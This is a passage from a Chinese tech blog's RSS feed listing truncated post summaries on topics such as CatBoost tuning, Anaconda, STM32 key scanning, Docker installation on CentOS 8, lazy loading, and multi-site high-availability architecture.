      <guid>https://bchobby.github.io/posts/1148d8a2fc344faa9614708803929d9b/</guid>
      <description>import os&#xA;import time&#xA;import optuna&#xA;import pandas as pd&#xA;from catboost import CatBoostRegressor&#xA;from sklearn.metrics import r2_score, mean_squared_error&#xA;from sklearn.model_selection import train_test_split&#xA;X_train = data.drop([‘label’, ‘b1’, ‘b2’], axis=1).values&#xA;y_train = data[‘label’].values&#xA;X_train, X_test, y_train, y_test = train_test_split(X_train, y_train, test_size=0.2, random_state=42)&#xA;def epoch_time(start_time, end_time):&#xA;elapsed_secs = end_time - start_time&#xA;elapsed_mins = elapsed_secs / 60&#xA;return elapsed_mins, elapsed_secs&#xA;def objective(trial):&#xA;# 自定义的参数空间&#xA;depth = trial.suggest_int(‘depth’, 1, 16)&#xA;border_count = trial.suggest_int(‘border_count’, 1, 222)</description>
    </item>
    <item>
      <title>Anaconda 完全指南：从安装到高级功能，一篇搞定</title>
      <link>https://bchobby.github.io/posts/2ea93a23940017c90fbb5b28917806a6/</link>
      <pubDate>Thu, 28 Dec 2023 09:43:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ea93a23940017c90fbb5b28917806a6/</guid>
      <description>概要 Anaconda 是一个非常强大的 Python 数据科学平台，它集成了众多常用的数据科学工具和库，为数据分析、机器学习和科学计算提供了便捷的开发环境。本文将详细介绍 Anaconda 的安装、环境管理、常用工具和高级功能，帮助你快速掌握 Anaconda 的使用技巧。&#xA;1. 什么是 Anaconda？ Anaconda 是一个开源的 Python 发行版，包含了 Python 解释器、众多常用的数据科学工具和库（如 NumPy、Pandas、Matplotlib、Scikit-learn 等），以及一个强大的包管理系统。它的目标是简化数据科学和机器学习的开发过程，提供一站式的解决方案。&#xA;2. 安装 Anaconda 要使用 Anaconda，首先需要下载并安装 Anaconda 发行版。你可以从 Anaconda 官网（https://www.anaconda.com/products/distribution）下载适合你操作系统的安装包，并按照官方指南进行安装。安装完成后，你就可以在命令行中使用 Anaconda 提供的工具和命令了。&#xA;3. 环境管理 Anaconda 提供了一个强大的环境管理工具 conda，可以帮助你创建、管理和切换不同的 Python 环境。通过 conda，你可以创建一个独立的环境，并在该环境中安装特定版本的 Python 和其他库，从而避免不同项目之间的依赖冲突。下面是一些常用的环境管理命令： - 创建一个新环境：conda create --name myenv&#xA;- 激活一个环境：conda activate myenv&#xA;- 安装特定版本的 Python：conda install python=3.7&#xA;- 安装其他库：conda install numpy pandas matplotlib&#xA;4. 常用工具和库 Anaconda 预装了许多常用的数据科学工具和库，包括 NumPy、Pandas、Matplotlib、Scikit-learn 等。这些库提供了丰富的功能，可以帮助你进行数据处理、可视化、机器学习等工作。在使用 Anaconda 时，你可以直接调用这些库，无需额外安装。</description>
    </item>
    <item>
      <title>32单片机按键扫描 实现长短按</title>
      <link>https://bchobby.github.io/posts/9cf653b71e62dc8ff233d3251e648456/</link>
      <pubDate>Thu, 28 Dec 2023 09:40:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cf653b71e62dc8ff233d3251e648456/</guid>
      <description>key.c&#xA;/** **************************************************************************************************** * @file key.c * @author Kyro Qu * @brief 按键驱动代码 * 实验平台: STM32G431RB开发板 **************************************************************************************************** */ #include &#34;key.h&#34; #include &#34;lcd.h&#34; #include &#34;stdio.h&#34; typedef struct { GPIO_TypeDef *Key_Port; uint16_t Key_Pin; }Key_GPIO_t; static Key_GPIO_t g_KeyList[] = { { KEY_B1_GPIO_Port, KEY_B1_Pin }, { KEY_B2_GPIO_Port, KEY_B2_Pin }, { KEY_B3_GPIO_Port, KEY_B3_Pin }, { KEY_B4_GPIO_Port, KEY_B4_Pin } /* add other KEY, ... */ }; #define KEY_NUM_MAX (sizeof(g_KeyList)/sizeof(g_KeyList[0])) typedef enum { KEY_RELEASE =0,&#x9;/* 释放松开 */ KEY_CONFIRM,&#x9;/* 消抖确认 */ KEY_SHORT_PRESS,&#x9;/* 短按 */ KEY_LONG_PRESS,&#x9;/* 长按 */ }KEY_STATE; #define CONFIRM_TIME 10&#x9;/* 消抖时间 ms */ #define LONG_PRESS_TIME 2000&#x9;/* 长按时间窗 ms */ typedef struct { KEY_STATE keyState;&#x9;/* 按键状态 */ uint32_t prvTime;&#x9;/* 按键时间 */&#x9;}Key_Info_t; static Key_Info_t g_Key_Info[KEY_NUM_MAX]; /** * @brief 扫描单个按键不同状态函数 * @param 按键端口号 * @retval 键值 */ static uint8_t keyScan(uint8_t keyIndex) { uint8_t keyPress; keyPress=HAL_GPIO_ReadPin(g_KeyList[keyIndex].</description>
    </item>
    <item>
      <title>【教程】将Python转为C语言并编译生成二进制文件</title>
      <link>https://bchobby.github.io/posts/04d4172b3bab02e428060382fa81deb5/</link>
      <pubDate>Thu, 28 Dec 2023 09:39:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04d4172b3bab02e428060382fa81deb5/</guid>
      <description>转载请注明出处：小锋学长生活大爆炸[xfxuezhang.cn]&#xA;本教程以DGL版本的GCN为例，其他也相似。&#xA;1、安装cython、gcc：&#xA;sudo apt install cython gcc -y 2、安装DGL、PyTorch：&#xA;pip3 install torch torchvision torchaudio pip install dgl -f https://data.dgl.ai/wheels/cu117/repo.html pip install dglgo -f https://data.dgl.ai/wheels-test/repo.html 3、编写gcn.py。注意添加# cython: language_level=3，不然默认用的是python2：&#xA;# cython: language_level=3 import torch import torch.nn as nn import torch.nn.functional as F import dgl from dgl.data import CoraGraphDataset from dgl.nn import GraphConv # 定义 GCN 模型 class GCN(nn.Module): def __init__(self, in_feats, h_feats, num_classes): super(GCN, self).__init__() self.conv1 = GraphConv(in_feats, h_feats) self.conv2 = GraphConv(h_feats, num_classes) def forward(self, g, in_feat): h = self.</description>
    </item>
    <item>
      <title>origin案例_绘制Spectrum，TRIR和曲线拟合</title>
      <link>https://bchobby.github.io/posts/88d66ac2fd2a845cf8b309c9c78477f8/</link>
      <pubDate>Thu, 28 Dec 2023 09:33:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88d66ac2fd2a845cf8b309c9c78477f8/</guid>
      <description>参考：&#xA;origin 2021 软件 链接：https://pan.baidu.com/s/1B-lCGtZM-nVx6sSOes8New?pwd=y1mz 提取码：y1mz --来自百度网盘超级会员V7的分享 x.1 数据格式解析 首先，我们的IR采集数据格式，横轴表示衰减时间，纵轴表示波数，文件格式以.dat结尾，使用记事本和origin打开后如下所示，&#xA;x.2 绘制spectrum 以origin操作为例，我们首先使用origin打开文件，接着把第二列删除（LabVIEW采集数据的时候导致第二列是错误数据，实验室历史遗留问题）。&#xA;我们选择第一行，右键，set as comment，&#xA;这样我们的x轴就是波数，而legend上会根据每一衰减时间（即xps/位移平台位置）绘制多条光谱图。最后我们ctrl+a全选数据，点击左下角的Line绘制多个位移平台位置的光谱图，如下所示，&#xA;x.3 绘制TRIR 我们一般会在做实验的时候就选取我们觉得合适的波数下的衰减动力学曲线，我们实现记录下这些波数。回到我们在x.3章节中绘制的表格，根据我们记录的波数，我们从表格中选取我们需要的波数，例如1651cm-1，1647cm-1（一般会选择7，8条），我们将这些波数对应行的数据复制到一个新表格b中的从第二行开始的位置，&#xA;接着我们把x.3章节表格中的comment复制到新表格b中的第一行，&#xA;全选新表格b，在工作表中找到转置，将数据全部转置，&#xA;同样的，将第一行设置为comment，&#xA;再将新表格b中的数据全选，绘制出来的图就是时间动力学衰减图（当然这并不是我们期望的动力学衰减），如下所示，&#xA;x.4 曲线拟合 我们重点需要关注的是做动力学衰减后曲线拟合的参数，这个值可以反应亚稳态物质的振动情况。所以我们往往需要选择合适的曲线来拟合参数，通过拟合的参数来查看变化。&#xA;我们回到x.3中绘制的曲线，我们选择一条很明显有衰减的曲线，波数是1650。&#xA;我们使用左侧工具栏的data selector来选取曲线中需要拟合的片段，&#xA;框选完毕后，我们找到分析中的非线性拟合（一般是一次指数拟合或者二次指数拟合），&#xA;选择合适的分类和函数，点击右侧图标的fit until converged进行拟合&#xA;完全拟合时不会有红字报错，我们点击ok退出，保证t2和t1的±浮动不会大于主数值，如下就是ok的，</description>
    </item>
    <item>
      <title>(vue)怎么监听表单里边的数据</title>
      <link>https://bchobby.github.io/posts/9a430ed19632b21944986c78c69be203/</link>
      <pubDate>Thu, 28 Dec 2023 09:20:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a430ed19632b21944986c78c69be203/</guid>
      <description>(vue)怎么监听表单里边的数据 data() { return { form：{ name:&#34;&#34;, }, show:false, } } watch: { //表单监听 &#34;form.name&#34;: { deep: true, handler(newVal, oldVal) { if (newVal) { this.form.name= &#34;张三&#34;; } }, }, //常规监听 show: { deep: true, // immediate: true, handler(newVal, oldVal) { if (newVal === true) { ... } }, }, }, 解决参考：https://blog.csdn.net/m0_66570642/article/details/132521632</description>
    </item>
    <item>
      <title>服务器可以放在家里吗？一定要放在机房托管吗？</title>
      <link>https://bchobby.github.io/posts/f5e7719d405abd28df1d03f8984d9b1b/</link>
      <pubDate>Thu, 28 Dec 2023 09:16:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5e7719d405abd28df1d03f8984d9b1b/</guid>
      <description>很多人都会想，服务器为什么要进行托管？可以自己维护吗？&#xA;其实，服务器跟电脑还是区别的，为什么要托管到机房呢？有以下几点原因：&#xA;1.服务器不能断电，一年365天一直工作，需要保证环境的稳定，比如恒温、恒湿、防尘、供电，自己维护相当麻烦，家里电力也不稳定。如果出现停电、跳闸会影响到服务器的稳定性，导致软硬件的损坏，影响网站。而小鸟云机房有专业的供电设备和继电设备，各项设备指标稳定。&#xA;2.服务器对网络的要求较高，而IP地址就是网络里的身份证，通过这个身份证来识别你的服务器，访问你服务器上的内容。但是，由于家庭大都是动态IP，不固定，要保证访问者的访问速度和响应速度比较难。而小鸟云专业的机房拥有大量的网络带宽，节点范围广，能让用户顺畅访问。&#xA;3.如果是自己进行管理的话，一旦出现没遇到的问题，需要查询资料，万一弄错了，数据有可能会丢失，硬件有可能会故障，而小鸟云机房有专业的技术工程师，处理效率高。</description>
    </item>
    <item>
      <title>单元化、异地多活，大厂如何实现？</title>
      <link>https://bchobby.github.io/posts/1e8ed5d3bf9c2cc4bca4a5b521798544/</link>
      <pubDate>Thu, 28 Dec 2023 09:15:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e8ed5d3bf9c2cc4bca4a5b521798544/</guid>
      <description>尼恩说在前面 在40岁老架构师 尼恩的读者交流群(50+)中，尼恩一直在指导大家改造简历、指导面试。指导很多小伙伴拿到了一线互联网企业网易、美团、字节、如阿里、滴滴、极兔、有赞、希音、百度、美团的面试资格，拿到大厂offer。&#xA;前几天，指导了一个40岁老伙伴拿到年薪100W offer，这个小伙伴的优势在：异地多活，在中间件的高可用（HA）。&#xA;在其他的小伙伴的简历指导的过程中，尼恩也发现： 异地多活的概念、异地多活的架构、非常重要。而且，异地多活的架构，本身就非常重要，大厂的线上高可用P0级别的严重问题也是非常频繁：&#xA;3月份出了两个大的线上事故，B站刚崩，唯品会又崩了。9月份之后，大厂接二连三的P0级事故（高可用事故）语雀崩了、阿里云崩，阿里崩完、滴滴崩…&#xA;异地容灾/异地多活，是架构师/高级开发必须掌握的核心技术，理由有2：&#xA;异地容灾/异地多活已经成为大厂核心服务的标准配置。当然，要实现真正意义上的异地多活，就需要对服务进行单元化改造。另外，从面试视角来看，异地容灾、单元化、高可用也是面试的核心重点。 刚好前面几天，有小伙伴面试，遇到一些异地多活的很重要的面试题：&#xA;高可用异地多活，如何实现？&#xA;高可用异地容灾，你的方案是啥？&#xA;你们的高可用、单元化改造方式是啥？&#xA;在这里，尼恩给自己的技术自由圈（未来 超级 架构师） 社区的小伙伴， 积累一些 异地多活的架构方案和素材。 这些资料的主要的目标： 方便在架构指导的时候，作为参考资料。在尼恩的公号【技术自由圈】中，之前有过多篇大厂异地多活的方案文章：&#xA;《B站刚崩，唯品会又崩：亿级用户网站的架构硬伤与解决方案》&#xA;《100Wqps异地多活，得物是怎么架构的？》&#xA;《大家都崩，美团不崩：其高可用架构，巧夺天工！》&#xA;《美团面试：ES+Redis+MySQL高可用，如何试实现？》&#xA;在这里，尼恩借助高德技术中心架构师韦王同学的文章《高德服务单元化方案和架构实践》，给大家做一下系统化、体系化的微服务底层架构 梳理，使得大家可以充分展示一下大家雄厚的 “技术肌肉”，让面试官爱到 “不能自已、口水直流”。&#xA;也一并把这个题目以及参考答案，收入咱们的 《尼恩Java面试宝典PDF》V151版本，供后面的小伙伴参考，提升大家的 3高 架构、设计、开发水平。&#xA;特别提示：尼恩的3高架构宇宙，持续升级。&#xA;《尼恩 架构笔记》《尼恩高并发三部曲》《尼恩Java面试宝典》的PDF，请到文末公号【技术自由圈】取&#xA;文章目录 尼恩说在前面高德服务单元化方案和架构实践一、为什么要做单元化二、高德单元化的特点三、高德单元化实践服务单元化架构就近接入实现方案路由表设计路由计算单元切流核心指标 四、后续优化统一接入集成单元化能力分组机制的优化热更时的双表计算服务端数据驱动的单元化场景 说在最后尼恩技术圣经系列PDF 高德服务单元化方案和架构实践 作者：韦王，高德技术&#xA;本文主要分享了高德在服务单元化构建方面的实际操作经验在服务单元化构建过程中，会遇到许多共性问题，例如请求路由、单元封闭、数据同步等。&#xA;有些问题已经有成熟的解决方案可以参考和使用，但是不同公司的业务都有各自的特点，因此需要尽可能结合自身的业务特点来进行相应的设计和处理。&#xA;一、为什么要做单元化 单机房资源瓶颈 随着业务规模和服务用户群体的扩大，单机房或同城双机房已经无法满足服务持续扩容的需求。&#xA;服务异地容灾 异地容灾已经成为核心服务的标准配置。虽然有些服务已经在多地多机房进行部署，但数据仍然只在中心机房。要实现真正意义上的异地多活，就需要对服务进行单元化改造。&#xA;二、高德单元化的特点 在做高德的单元化项目时，我们首先要考虑的是结合高德的业务特点，看高德的单元化有什么不一样的诉求，这样就清楚哪些经验和方案是可以直接拿来用的，哪些又是需要我们去解决的。&#xA;高德的业务与传统在线交易业务存在差异，高德为用户提供以导航为代表的出行服务，这些服务在许多场景下对响应时间（RT）有极高的要求。&#xA;因此，在做单元化方案时，尽可能减少对整体服务RT的影响，就是我们需要重点考虑的一个性能问题，尽量做到数据离用户近一些。转换到单元化技术层面需要解决两个问题:&#xA;用户设备的单元接入应尽可能实现就近接入，用户真实地理位置接近哪个单元就接入哪个单元。&#xA;例如华北用户接入到张北，华南接入到深圳。&#xA;用户的单元划分应与就近接入的单元保持一致，以减少单元间的跨单元路由。&#xA;例如用户请求从深圳进来，用户的单元划分最好就在深圳单元，如果划到张北单元就会造成跨单元路由。&#xA;此外，高德的许多服务无需用户登录，因此我们的单元化方案不仅需要支持用户ID，还必须支持基于设备ID的单元化。&#xA;高德的单元化项目要求我们深入理解其业务特性，并在此基础上设计出既能满足响应时间要求又能适应无需登录服务需求的单元化方案。&#xA;这涉及到优化用户接入策略，确保单元划分与用户地理位置的一致性，以及支持无登录服务的单元化技术。&#xA;三、高德单元化实践 为了实施服务的单元化架构改造，需要一个至上而下的系统性设计，核心要解决三个核心问题：&#xA;请求路由单元封闭数据同步 注意：请点击图像以查看清晰的视图！&#xA;请求路由：根据高德业务的特点，我们提供了两种路由策略：取模路由和路由表路由，目前上线应用使用较多的是路由表路由策略。&#xA;单元封闭：得益于集团的基础设施建设，我们使用vipserver、hsf等服务治理能力保证服务同机房调用，从而实现单元封闭(hsf unit模式也是一种可行的方案，但个人认为同机房调用的架构和模式更简洁且易于维护)。&#xA;数据同步：数据部分使用的是集团DB产品提供的DRC数据同步。</description>
    </item>
    <item>
      <title>面试官：“只会这一种懒加载实现思路？回去等通知吧”</title>
      <link>https://bchobby.github.io/posts/ba58d964f0031c618bff85398a1e4775/</link>
      <pubDate>Thu, 28 Dec 2023 09:15:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba58d964f0031c618bff85398a1e4775/</guid>
      <description>点击上方 前端Q，关注公众号&#xA;回复加群，加入前端Q技术交流群&#xA;思路一：监听滚动事件 监听滚动事件指的是：通过监听页面的滚动事件，判断需要懒加载的元素是否进入可视区域。当元素进入可视区域时，动态加载对应的资源。这种方式需要手动编写监听滚动事件的逻辑，可能会导致性能问题，如滚动时的抖动和卡顿。&#xA;关键 API&#xA;getBoundingClientRect() 方法返回的对象包含以下属性：&#xA;top：元素上边缘相对于视窗的距离。&#xA;right：元素右边缘相对于视窗的距离。&#xA;bottom：元素下边缘相对于视窗的距离。&#xA;left：元素左边缘相对于视窗的距离。&#xA;width：元素的宽度（可选）。&#xA;height：元素的高度（可选）。&#xA;可以看下下面的图。&#xA;来看看代码示例&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Lazy Loading Example&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; img { width: 100%; height: 300px; display: block; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;img src=&#34;https://via.placeholder.com/300x300?text=Image+1&#34; src=&#34;&#34; alt=&#34;Image 1&#34;&amp;gt; &amp;lt;img src=&#34;https://via.placeholder.com/300x300?text=Image+2&#34; src=&#34;&#34; alt=&#34;Image 2&#34;&amp;gt; &amp;lt;img src=&#34;https://via.placeholder.com/300x300?text=Image+3&#34; src=&#34;&#34; alt=&#34;Image 3&#34;&amp;gt; &amp;lt;script&amp;gt; function isInViewport(element) { const rect = element.getBoundingClientRect(); const windowHeight = window.</description>
    </item>
    <item>
      <title>华为OD机试真题及题解（JAVA）</title>
      <link>https://bchobby.github.io/posts/0a2f8a86a314ab4ebb88959adc718074/</link>
      <pubDate>Thu, 28 Dec 2023 09:11:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a2f8a86a314ab4ebb88959adc718074/</guid>
      <description>说明 本系列参考MISAYAONE给出的题库，写出自己的题解，尽可能写出简单高效的代码，并对原来存在的误写或bug进行校对，但未上机实践过，无法保证100%通过。在实现思路上会有更加详细的说明。如果读者有更好的思路或者发现了某个题解的bug，欢迎在评论区留言讨论，发现bug时最好能提供具体的测试用例，便于问题分析~&#xA;题库 部分题在leetcode能找到类似题，可直接在leetcode提交验证&#xA;华为OD考试B卷题库 本专栏会持续更新，有超链接的题目代表已更新题目&#xA;序号OD题目时间分值leetcode1宜居星球改造计划2023Q2200994. 腐烂的橘子2需要打开多少监视器2023Q2100暂无3最佳植树距离 2023Q21001552. 两球之间的磁力4阿里巴巴找黄金宝箱（I）2023Q2200724. 寻找数组的中心下标5选修课2023Q2100暂无6五子棋迷 2023Q2100424. 替换后的最长重复字符7代表团坐车2023Q2100494.目标和8座位调整2023Q2100暂无9食堂供餐2023Q2100暂无10寻找矿堆的最大价值2023Q2100暂无11最长公共后缀2023Q210014. 最长公共前缀12模拟消息队列2023Q2100暂无13比赛2023Q2100暂无14告警抑制2023Q2100暂无15报文重排序2023Q2100暂无16字符串摘要2023Q2100暂无17矩阵稀疏扫描2023Q2100暂无18AI面板识别2023Q2100暂无19报文回路2023Q2100暂无20阿里巴巴找黄金宝箱(II)2023Q2100暂无21阿里巴巴找黄金宝箱(III)2023Q2100暂无22阿里巴巴找黄金宝箱(IV)2023Q2200503. 下一个更大元素 II23文件目录大小2023Q2100暂无24组装最大可靠性设备2023Q2200暂无25找出两个整数数组中同时出现的整数2023Q2100暂无26通过软盘拷贝文件2023Q2200暂无27代码编辑器2023Q2200暂无28数据分类2023Q2100暂无29恢复数字序列2023Q2100暂无30阿里巴巴找黄金宝箱(V)2023Q2100暂无31比赛的冠亚季军2023Q2100暂无32数字游戏2023Q2100974. 和可被 K 整除的子数组33经典屏保2023Q2100暂无34字符串化繁为简2023Q2200暂无35数据最节约的备份方法2023Q2100暂无36跳格子22023Q2100暂无37跳房子22023Q220015. 三数之和38支持优先级的对列2023Q2100暂无39乘坐保密电梯2023Q2100暂无40计算最接近的数2023Q2100暂无41人气最高的店铺2023Q2100暂无42战场索敌2023Q2200暂无43二维伞的雨滴效应2023Q21001008. 前序遍历构造二叉搜索树44跳房子I2023Q21001. 两数之和45分割数组的最大差值2023Q2100暂无46生日礼物2023Q2100暂无47求最小步数2023Q2100暂无48拔河比赛2023Q2100暂无49评论转换输出2023Q2200暂无50树状结构查询2023Q2200暂无51不开心的小朋友2023Q2200暂无52数字序列比大小2023Q2200暂无53符合要求的元组个数/k数之和2023Q2100暂无54最小循环子数组2023Q2200459. 重复的子字符串55金字塔/微商2023Q2100暂无56矩阵元素的边界值2023Q2100暂无57MELON的难题2023Q2200暂无58矩阵中非1的元素个数2023Q2200暂无59计算误码率2023Q2200暂无60增强的strstr2023Q2100暂无61关联子串2023Q2100暂无62计算礼品发放的最小分组数目2023Q2100暂无63字符匹配 2023Q210010. 正则表达式匹配64最小传输时延I2023Q2200743. 网络延迟时间65 一种字符串压缩表示的解压2023Q2100暂无66冠亚军排名2023Q2100暂无67报数游戏2023Q2100暂无68找出经过特定点的路径长度2023Q2100暂无69按单词下标区间翻转文章内容2023Q2100暂无70数列描述2023Q2100暂无71字符串筛选排序2023Q2100暂无72相对开音节2023Q2100暂无73字符串变换最小字符串2023Q2100暂无74VLAN资源池2023Q2100暂无75拼接URL2023Q2100暂无76执行时长/GPU算力2023Q2100暂无77荒岛求生2023Q3200735. 小行星碰撞78查字典2023Q3100暂无79周末爬山2023Q3200暂无80最小数字2023Q3100暂无81最长的元音子串2023Q3100暂无82TLV解析II2023Q3100暂无83玩牌高手2023Q3200暂无84最长连续子序列2023Q3100暂无85路灯照明II2023Q3100暂无86最多团队2023Q3100暂无87最长的顺子2023Q3100暂无88数字最低位排序2023Q3100暂无89整数编码2023Q3100暂无90找车位2023Q3100暂无91选举拉票2023Q3200暂无92单词加密2023Q3100暂无93购物2023Q3200暂无94最佳的出牌方法2023Q3200暂无95字符串划分2023Q3100暂无96洞穴探险2023Q3100暂无97最大岛屿体积2023Q3100暂无98DNA序列2023Q3100暂无99服务启动2023Q3100暂无100最长公共前缀2023Q310014. 最长公共前缀101查找舆情热词2023Q3100暂无102排队游戏2023Q4200暂无103BOSS的收入2023Q4100暂无104猴子吃桃2023Q4100暂无105滑动窗口最大值2023Q4100暂无106全排列2023Q4100暂无107编码能力提升计划 2023Q4200LCP 12. 小张刷题计划108水果摊小买卖2023Q4100暂无109正整数excel编号的转换2023Q4100暂无110反转每对括号间的子串2023Q4100暂无111模拟工作队列2023Q4200暂无112删除字符串中出现次数最少的字符2023Q4100暂无 备注 B卷题目已完结，完整代码连接</description>
    </item>
    <item>
      <title>python股票分析挖掘预测金融大数据获取方法和实现（1）</title>
      <link>https://bchobby.github.io/posts/c6802cadf7f868c7a1cb34d3921ed687/</link>
      <pubDate>Thu, 28 Dec 2023 09:10:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6802cadf7f868c7a1cb34d3921ed687/</guid>
      <description>本人股市多年的老韭菜了，各种股票分析书籍，技术指标书籍阅历无数，萌发想法，何不自己开发个股票预测分析软件，选择python因为够强大，它提供了很多高效便捷的数据分析工具包，&#xA;我们已经初步的接触与学习其中数据分析中常见的3大利器---Numpy,Pandas，Matplotlib库。&#xA;数据是万物之源，我们做股票分析，首要条件是获取最新的，最全面的金融数据，我们才能进行下一步开发。&#xA;我们获取数据主要有二大渠道，爬虫爬取金融网站数据和金融网站主动提供API接口方式获得，这一章简单介绍一下金融数据接口的使用方法：&#xA;金融数据接口 目前有不少支持Python接口的金融数据库，比如Tushare、AKshare、Baostock、wind等，都可以获得国内股票、基金、期货、利率等数据。总共加起来几十个差不多，各位开发者可以按照自己的情况选择（很多接口版本如果升级，很大可能接口代码有所改变，所以开发者随时要调整代码，才能获得数据）&#xA;（1)AKshare接口 AKShare 是基于 Python 的开源金融数据接口库，目的是实现对股票、期货、期权、基金、债券、外汇等金融产品和另类数据从数据采集，数据清洗到数据下载的工具，满足金融数据科学家、数据科学爱好者在数据获取方面的需求。&#xA;它的特点是利用 AKShare 获取的是基于可信任数据源发布的原始数据，开发人员可以利用原始数据进行再加工，从而得出科学的结论。&#xA;优点： 代码语法符合PEP8 规范, 数据接口的命名统一;最佳支持Python 3.7.5 及其以上版本;提供最佳的文档支持, 每个数据接口提供详细的说明和示例, 只需要复制粘贴就可以下载数据;持续维护由于目标网页变化而导致的部分数据接口运行异常问题;持续更新财经数据接口, 同时优化源代码; 缺点： 如果是免费版本，如果访问过多随时封闭接口，也存在接口版本升级，很多获取数据代码随着改变，增加开发人员工作量。&#xA;安装： pip install akshare 代码案例： import akshare as ak import pandas as pd pd.set_option(&#39;expand_frame_repr&#39;, False) # True就是可以换行显示。设置成False的时候不允许换行 pd.set_option(&#39;display.max_columns&#39;, None) # 显示所有列 # pd.set_option(&#39;display.max_rows&#39;, None) # 显示所有行 pd.set_option(&#39;colheader_justify&#39;, &#39;centre&#39;) # 显示居中 def a_hist(): # period # str # choice of {&#39;daily&#39;, &#39;weekly&#39;, &#39;monthly&#39;} # start_date # str # 开始查询的日期 # end_date # str # 结束查询的日期 # adjust # str # 默认返回不复权的数据; # qfq: 返回前复权后的数据; # hfq: 返回后复权后的数据 stock_zh_a_hist_df = ak.</description>
    </item>
    <item>
      <title>docker的安装的详细教程，以及出现错的解决办法（阿里云）</title>
      <link>https://bchobby.github.io/posts/4057ea294c8dd8c52a910cb54b3d109d/</link>
      <pubDate>Thu, 28 Dec 2023 09:03:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4057ea294c8dd8c52a910cb54b3d109d/</guid>
      <description>docker的安装与使用&#xA;1.安装dnf&#xA;sudo yum -y install dnf&#xA;Repository extras is listed more than once in the configuration&#xA;错误：无法为仓库 appstream 找到一个有效的 baseurl&#xA;出现这个错误这是由于阿里云的版本导致的&#xA;在阿里云开发者社区有答案！&#xA;网址为：https://developer.aliyun.com/mirror/centos&#xA;（1）出现错误的原因&#xA;CentOS 8操作系统版本结束了生命周期（EOL），Linux社区已不再维护该操作系统版本。建议您切换到Anolis或Alinux。如果您的业务过渡期仍需要使用CentOS 8系统中的一些安装包，请根据下文切换CentOS 8的源。&#xA;该网站有相关的解释和更新源的方法&#xA;（2）切换到 /etc/yum.repos.d/&#xA;cd /etc/yum.repos.d/&#xA;ls -l&#xA;（3）创建一个bak目录&#xA;mkdir bak&#xA;（4）将 CentOS-Linux-相关的内容全部放入bak中&#xA;mv CentOS-Linux-* bak&#xA;表示已经安装成功，yum源可用正常使用了&#xA;这里便可以测试yum是否可用了&#xA;（5）安装dnf&#xA;sudo yum -y install dnf&#xA;证明yum已经可用使用了，dnf安装成功&#xA;2.安装docker存储驱动的依赖包&#xA;sudo dnf install -y device-mapper-persistent-data lvm2&#xA;3.添加稳定的docker软件源&#xA;sudo dnf config-manager --add-repo=https://mirrors.aliyun.com/docker-ce/linux/&#xA;centos/docker-ce.repo&#xA;4.检查docker软件源是否已经添加&#xA;sudo dnf list docker-ce</description>
    </item>
    <item>
      <title>楼宇智慧能源消耗监测管理系统，楼宇中的能源“管家”</title>
      <link>https://bchobby.github.io/posts/4fb48716bbe7a70fd9aee0c4b417ba13/</link>
      <pubDate>Thu, 28 Dec 2023 08:42:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fb48716bbe7a70fd9aee0c4b417ba13/</guid>
      <description>随着人口的增加，楼宇数据呈上涨趋势，但是楼宇智能建设在我国普及性远远不足，相比传统楼宇控制，智能楼宇控制系统对于楼宇内部的用电设备控制，能够更加的节约能源，降低成本。对于现代化楼宇而言，选用一套智能能源管理系统对能源计量监控和应用有着重要意义。&#xA;系统主要功能&#xA;1、可视化大屏展示&#xA;可对所有能耗总产量、总产值、总消费趋势等进行展示，还可按能源计划量及实际使用量差值进行排名。&#xA;2、区域构建&#xA;支持对绘制区域素包括2D、3D素材进行维护，满足不同角度、不同粒度的能耗计量需求，支持提供不同区域的权限配置。&#xA;3、在线监测&#xA;在线监测能源介质与能源设备运行状态，实时显示能源参数及能耗值，支持查看能耗仪表网络与分布图。&#xA;4、设备能耗诊断&#xA;楼宇能耗诊断包括能效对标与能效诊断两部分。 能效对标通过建立不同的能耗分析模型， 实现能源数据多角度和多层次的分析，并形成各项 KPI 指标，如空调用电、照明用电等，将各项指标与标杆指标进行对标，当发生异常情况，能够及时提醒运营人员。&#xA;楼宇智慧能源消耗监测管理系统 5、统计报表&#xA;支持以自定义形式构建能耗记录报表，提供按日、月、季、年统计周期的能耗使用报表。&#xA;6、用能分析&#xA;能耗数据通过系统在线查询，支持按照实际管理组织结构和管理需求，实现基于计量管理模型的能耗同、环比统计分析，实现厂区、车间、生产线、设备级别能耗趋势对比及能耗排名分析。&#xA;7、能耗大数据分析&#xA;系统内拥有多种数据分析模型，通过分析能够发现最大用能区域、功率因数最低区域以及设备在空负载时能耗的分析。&#xA;8、能耗费用&#xA;可自动核算能耗费用，并进行能耗费用的同比、环比显示。支持可按能源类型、日期等不同条件相关的查询能耗费用查询统计和报表。&#xA;楼宇智慧能源消耗监测管理系统 9、设备管理&#xA;支持对设备使用、维修、保养、报废、导出、查询等功能，可显示停机时间、待机时间、运行时间、能耗占比、时间占比等。&#xA;10、能耗预警&#xA;系统提供灵活、丰富的异常告警管理功能，对所有报警事件可记录和写盘保存。当发生报警时，可通过自动业务流程生成异常告警工作单，并自动派单。&#xA;11、碳排管理&#xA;支持碳排统计、碳排排名，支持设置碳排阈值，设置阈值预警提醒，为管控提供依据。&#xA;12、数据录入&#xA;当能耗数据无法采集时，可提供能耗数据录入功能。&#xA;楼宇智慧能源消耗监测管理系统 